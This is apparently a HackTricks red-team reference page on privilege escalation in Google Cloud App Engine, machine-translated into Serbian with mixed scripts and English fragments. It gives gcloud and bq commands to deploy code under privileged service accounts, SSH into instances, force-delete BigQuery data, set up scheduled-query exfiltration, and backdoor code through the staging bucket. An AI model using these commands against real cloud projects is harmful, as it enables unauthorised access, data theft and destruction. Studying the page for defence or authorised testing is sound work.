GCP - AppEngine Privesc

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

App Engine

Za više informacija o App Engine pogledajte:

GCP - App Engine Enum

appengine.applications.get, appengine.instances.get, appengine.instances.list, appengine.operations.get, appengine.operations.list, appengine.services.get, appengine.services.list, appengine.versions.create, appengine.versions.get, appengine.versions.list, cloudbuild.builds.get,iam.serviceAccounts.actAs, resourcemanager.projects.get, storage.objects.create, storage.objects.list

Ovo su potrebna ovlašćenja za deploy aplikacije korišćenjem gcloud CLI. Moguće je da se get i list ovlašćenja mogu izostaviti.

Primere Python koda možete pronaći na https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine

Podrazumevano, ime App servisa će biti default, i može postojati samo 1 instanca sa istim imenom.
Da biste to promenili i kreirali drugu aplikaciju, u app.yaml, promenite vrednost root ključa u nešto poput service: my-second-app

cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder

Dajte mu najmanje 10-15 minuta; ako ne uspe, pokrenite deploy još nekoliko puta i sačekajte nekoliko minuta.

Note

Moguće je navesti Service Account koji će se koristiti, ali po defaultu se koristi App Engine default SA.

The URL of the application is something like https://<proj-name>.oa.r.appspot.com/ or https://<service_name>-dot-<proj-name>.oa.r.appspot.com

Ažuriranje odgovarajućih dozvola

Možda imate dovoljno dozvola da ažurirate AppEngine, ali ne i da kreirate novi. U tom slučaju, ovako možete ažurirati trenutni AppEngine:

# Find the code of the App Engine in the buckets
gsutil ls

# Download code
mkdir /tmp/appengine2
cd /tmp/appengine2
## In this case it was found in this custom bucket but you could also use the
## buckets generated when the App Engine is created
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
unzip labs_appengine_1_premissions_privesc.zip

## Now modify the code..

## If you don't have an app.yaml, create one like:
cat >> app.yaml <<EOF
runtime: python312

entrypoint: gunicorn -b :\$PORT main:app

env_variables:
A_VARIABLE: "value"
EOF

# Deploy the changes
gcloud app deploy

# Update the SA if you need it (and if you have actas permissions)
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com

Ako ste već kompromitovali AppEngine i imate dozvolu appengine.applications.update i actAs nad service account-om koji se koristi, možete izmeniti service account koji koristi AppEngine pomoću:

gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com

appengine.instances.enableDebug, appengine.instances.get, appengine.instances.list, appengine.operations.get, appengine.services.get, appengine.services.list, appengine.versions.get, appengine.versions.list, compute.projects.get

Uz ove dozvole, moguće je prijaviti se putem ssh-a na App Engine instance tipa flexible (ne standard). Neke od list i get dozvola možda nisu potrebne.

gcloud app instances ssh --service <app-name> --version <version-id> <ID>

appengine.applications.update, appengine.operations.get

Mislim da ovo samo menja pozadinski SA koji će Google koristiti za podešavanje aplikacija, tako da ne verujem da ovo možete iskoristiti da ukradete service account.

gcloud app update --service-account=<sa_email>

appengine.versions.getFileContents, appengine.versions.update

Nisam siguran kako se koriste ove dozvole ili da li su korisne (napomena: kada promeniš code kreira se nova verzija, tako da ne znam da li možeš samo da ažuriraš code ili IAM role jedne verzije, ali pretpostavljam da bi trebalo da možeš, možda menjanjem code-a unutar bucket-a??).

bigquery.tables.delete, bigquery.datasets.delete & bigquery.models.delete (bigquery.models.getMetadata)

Da ukloniš tabele, dataset ili modele:

# Table removal
bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>

# Dataset removal
bq rm -r -f <PROJECT_ID>:<DATASET>

# Model removal
bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>

Zloupotreba Scheduled Queries

Sa dozvolama bigquery.datasets.get, bigquery.jobs.create, i iam.serviceAccounts.actAs, identitet može da upita metadata dataset-a, pokrene BigQuery jobs i izvrši ih koristeći Service Account sa višim privilegijama.

Ovaj napad omogućava zlonamernu upotrebu Scheduled Queries za automatizaciju upita (koji se izvršavaju pod izabranim Service Account-om), što može, na primer, dovesti do toga da se osetljivi podaci pročitaju i upišu u drugu table ili dataset kojem napadač ima pristup — omogućavajući indirektnu i kontinuiranu exfiltration bez potrebe да се подаци извлаче екстерно.

Kada napadač sazna koji Service Account ima neophodne dozvole za izvršavanje željenog upita, može да креира конфигурацију Scheduled Query која се извршава користећи тај Service Account и периодично уписује резултате у dataset по његовом избору.

bq mk \
--transfer_config \
--project_id=<PROJECT_ID> \
--location=US \
--data_source=scheduled_query \
--target_dataset=<DEST_DATASET> \
--display_name="Generic Scheduled Query" \
--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
--schedule="every 10 minutes" \
--params='{
"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
"destination_table_name_template": "<destination_table>",
"write_disposition": "WRITE_TRUNCATE"
}'

Pristup za pisanje nad buckets

Kao što je pomenuto, appengine verzije generišu neke podatke unutar bucket-a sa formatom imena: staging.<project-id>.appspot.com. Imajte na umu da nije moguće pre-takeover-ovati ovaj bucket jer GCP korisnici nisu ovlašćeni da kreiraju bucket-ove koristeći domen appspot.com.

Međutim, uz read & write pristup ovom bucket-u, moguće je eskalirati privilegije na SA povezan sa AppEngine verzijom tako što se prati bucket i svaki put kada se izvrši promena, što brže moguće izmeni kod. Na taj način, container koji se kreira iz tog koda će execute the backdoored code.

Za više informacija i PoC pogledajte relevantne informacije na ovoj stranici:

GCP - Storage Privesc

Pristup za pisanje nad Artifact Registry

Iako App Engine kreira docker images unutar Artifact Registry, testirano je da even if you modify the image inside this service i uklonite App Engine instance (tako da se deploy-uje nova), code executed doesn’t change.
Moguće je da izvođenjem Race Condition attack like with the buckets it might be possible to overwrite the executed code, ali to nije testirano.

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks